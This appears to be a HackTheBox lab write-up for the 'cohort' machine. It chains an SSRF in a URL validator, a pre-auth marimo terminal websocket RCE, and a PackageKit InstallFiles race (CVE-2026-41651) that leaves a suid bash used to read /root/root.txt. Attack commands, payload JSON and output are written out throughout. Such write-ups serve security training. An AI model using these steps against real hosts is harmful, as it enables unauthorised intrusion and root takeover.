rodrigo
HackTheBoxEasy2026-08-06

cohort

ssrf exposes a marimo notebook, websocket rce gets user, and a packagekit race reaches root.

tl;dr

the box exposes ssh and nginx on 80/443. the main cohort.htb site has a client insights validator that fetches user supplied urls, and its ssrf filters block only exact loopback and private hostnames. fetching /status through it leaks the internal nginx upstreams, including a wildcard notebook vhost for marimo on 127.0.0.1:8888. the notebook vhost is reachable externally, and marimo 0.20.4 has a pre-auth terminal websocket rce, so i get a shell as marimo. that's user.

for root, PackageKit is installed as 1.2.8-2ubuntu1.2, behind the fixed candidate. the Pack2TheRoot / CVE-2026-41651 race lets an unauthenticated local user get PackageKit to install an attacker controlled deb through the InstallFiles cached flag path. the package postinst runs as root, drops a suid bash, and bash -p reads /root/root.txt. that's root.

recon

nmap

full port scan first:

nmap -p- --min-rate 5000 10.129.98.150
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

version/script scan:

nmap -sCV -p 22,80,443 10.129.98.150
22/tcp  open  ssh    OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp  open  http   nginx 1.24.0
443/tcp open  https  nginx 1.24.0

80 redirects to https, and the certificate gives the real hostnames:

O=Cohort Analytics, CN=cohort.htb
Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb

added cohort.htb locally and kept the wildcard cert in mind for vhost enum.

open ports / services

port service notes
22 ssh openssh 9.6p1 on ubuntu
80 http nginx redirect to https://cohort.htb/
443 https nginx, wildcard cert for *.cohort.htb

the main site has a portal at /portal.html with a client insights validator. the backend endpoint takes json like this:

{"url":"https://cohort.htb/status","format":"csv"}

the app restricts the scheme to http and https, and blocks exact loopback hosts, but it still lets me aim the server at useful internal names. fetching /status through the validator leaks the nginx upstream map:

marketing    cohort.htb                         /var/www/cohort
insights-api 127.0.0.1:5000                     /api/
notebooks    nb-1be3782a8afd3ad5.cohort.htb    127.0.0.1:8888

the notebook hostname is valid externally when the request uses matching host and sni:

nb-1be3782a8afd3ad5.cohort.htb

that vhost is marimo:

GET /api/version
0.20.4

foothold: marimo terminal websocket rce (443)

  • Vuln/vector: marimo 0.20.4 is affected by GHSA-2679-6mx9-h9xc, a pre-auth terminal websocket rce in versions up to 0.20.4. the notebook vhost exposes /terminal/ws before login, so i can talk directly to the terminal websocket and run commands as the marimo service account.

  • Steps:

the target websocket:

wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws

my helper ws_raw.py performs the websocket handshake and sends terminal input. first confirm execution:

python3 ws_raw.py 'id; pwd; hostname'
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
/home/marimo
cohort

that's enough to read the user flag:

ls -l /home/marimo/user.txt
cat /home/marimo/user.txt
-rw-r----- 1 root marimo ... /home/marimo/user.txt
  • user flag: [redacted]

local enum: services and source

the host is ubuntu noble:

cat /etc/os-release
uname -a
Ubuntu 24.04.4 LTS
6.8.0-136-generic

interesting users:

marimo:x:1000:1000::/home/marimo:/usr/sbin/nologin
insights:x:...:/nonexistent:/usr/sbin/nologin

service files show how the public pieces fit together:

cat /etc/systemd/system/marimo.service
cat /etc/systemd/system/cohort-insights.service
cat /etc/systemd/system/sysmon.service
/opt/marimo/venv/bin/marimo edit /home/marimo/notebooks/retention.py \
  --headless --host 127.0.0.1 -p 8888 \
  --token --token-password YKQ6iPyO5kusNx0BpVAPfjP5 \
  --skip-update-check --no-sandbox
/usr/bin/python3 /opt/cohort-insights/insights_api.py
/opt/sysmon/sysmon -i /opt/sysmon/config.xml -service

the marimo token works for marimo api access, but not for sudo or su:

curl -sk 'https://nb-1be3782a8afd3ad5.cohort.htb/api/status?access_token=YKQ6iPyO5kusNx0BpVAPfjP5'
sudo -n -l

the insights api source explains the ssrf behavior from recon:

sed -n '1,220p' /opt/cohort-insights/insights_api.py

it allows only http and https, blocks a small exact host deny list, then fetches the url. no direct file read or command execution there, but it was enough to discover the notebook vhost.

nginx confirms the same layout:

cat /etc/nginx/sites-available/cohort.conf
/api/                 -> 127.0.0.1:5000
notebook vhost        -> 127.0.0.1:8888
/status               -> allow 127.0.0.1 only

root: packagekit Pack2TheRoot, cve-2026-41651

  • Vuln/vector: PackageKit is installed and running as a dbus activated root service. the installed ubuntu package is still vulnerable: packagekit 1.2.8-2ubuntu1.2, with fixed candidate 1.2.8-2ubuntu1.5 available. CVE-2026-41651 abuses a time of check to time of use issue in InstallFiles: first call InstallFiles(SIMULATE, dummy.deb) on a path that does not require polkit auth, then win the cached flag race with InstallFiles(NONE, payload.deb). PackageKit installs the attacker deb, and the package postinst runs as root.

  • Steps:

confirm the vulnerable package:

pkcon --version
apt-cache policy packagekit packagekit-tools
PackageKit 1.2.8
Installed: 1.2.8-2ubuntu1.2
Candidate: 1.2.8-2ubuntu1.5

the target did not have the build tooling i wanted, so i built the public CVE-2026-41651 PoC locally, served it over http, and uploaded it with the marimo websocket helper:

python3 -m http.server 8081
python3 ws_upload.py cve-2026-41651 /tmp/cve-2026-41651
chmod +x /tmp/cve-2026-41651

running the exploit installs a payload package whose postinst drops a suid bash:

/tmp/cve-2026-41651
SUCCESS - SUID bash

use the suid copy with -p to keep effective uid 0:

/tmp/.suid_bash -p -c 'id; cat /root/root.txt'
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
  • root flag: [redacted]